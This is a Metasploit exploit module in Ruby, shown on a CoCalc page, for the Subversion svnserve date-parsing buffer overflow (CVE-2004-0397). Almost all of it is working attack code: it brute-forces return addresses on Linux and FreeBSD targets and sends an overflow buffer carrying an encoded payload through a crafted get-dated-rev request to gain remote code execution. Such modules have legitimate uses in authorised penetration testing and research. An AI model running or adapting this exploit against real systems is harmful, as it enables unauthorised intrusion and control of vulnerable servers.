CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Remote
8
  Rank = AverageRanking
9

10
  include Msf::Exploit::Brute
11
  include Msf::Exploit::Remote::Tcp
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'Subversion Date Svnserve',
16
      'Description'    => %q{
17
          This is an exploit for the Subversion date parsing overflow.  This
18
        exploit is for the svnserve daemon (svn:// protocol) and will not work
19
        for Subversion over webdav (http[s]://).  This exploit should never
20
        crash the daemon, and should be safe to do multi-hits.
21

22
        **WARNING** This exploit seems to (not very often, I've only seen
23
        it during testing) corrupt the subversion database, so be careful!
24
      },
25
      'Author'         => 'spoonm',
26
      'References'     =>
27
        [
28
          ['CVE', '2004-0397'],
29
          ['OSVDB', '6301'],
30
          ['BID',	'10386'],
31
          ['URL',   'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html']
32
        ],
33
      'Payload'        =>
34
        {
35
          'Space'    => 500,
36
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
37
          'MinNops'  => 16,
38
        },
39
      'SaveRegisters'  => [ 'esp' ],
40
      'Arch'           => 'x86',
41
      'Platform'       => %w{ bsd linux },
42
      'Targets'        =>
43
        [
44
          [
45
            'Linux Bruteforce',
46
            {
47
              'Platform'   => 'linux',
48
              'Bruteforce' =>
49
                {
50
                  'Start' => { 'Ret' => 0xbffffe13 },
51
                  'Stop'  => { 'Ret' => 0xbfff0000 },
52
                  'Step'  => 0
53
                }
54
            },
55
          ],
56
          [
57
            'FreeBSD Bruteforce',
58
            {
59
              'Platform'   => 'bsd',
60
              'Bruteforce' =>
61
                {
62
                  'Start' => { 'Ret' => 0xbfbffe13 },
63
                  'Stop'  => { 'Ret' => 0xbfbf0000 },
64
                  'Step'  => 0
65
                }
66
            },
67
          ],
68

69
        ],
70
      'DisclosureDate' => '2004-05-19'))
71

72
    register_options(
73
      [
74
        Opt::RPORT(3690),
75
        OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
76
      ])
77

78
    register_advanced_options(
79
      [
80
        # 62 on spoonm's, 88 on HD's
81
        OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
82
        OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
83
      ])
84
  end
85

86
  def brute_exploit(addresses)
87
    connect
88

89
    print_status("Trying #{"%.8x" % addresses['Ret']}...")
90

91
    buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
92

93
    [
94
      "( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
95
      "( ANONYMOUS ( 0; ) )",
96
      "( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
97
    ].each_with_index { |buf, index|
98
      trash = sock.get_once
99

100
      print_line("Received: #{trash}") if debugging?
101

102
      if (sock.put(buf) || 0) == 0 and index < 3
103
        print_error("Error transmitting buffer.")
104
        fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors']
105
      end
106

107
      if index == 3 and trash.length > 0
108
        print_error("Received data when we shouldn't have")
109
        fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']
110
      end
111
    }
112

113
    handler
114
    disconnect
115
  end
116

117
  def lengther(buf)
118
    "#{buf.length}:" + buf
119
  end
120
end
121

122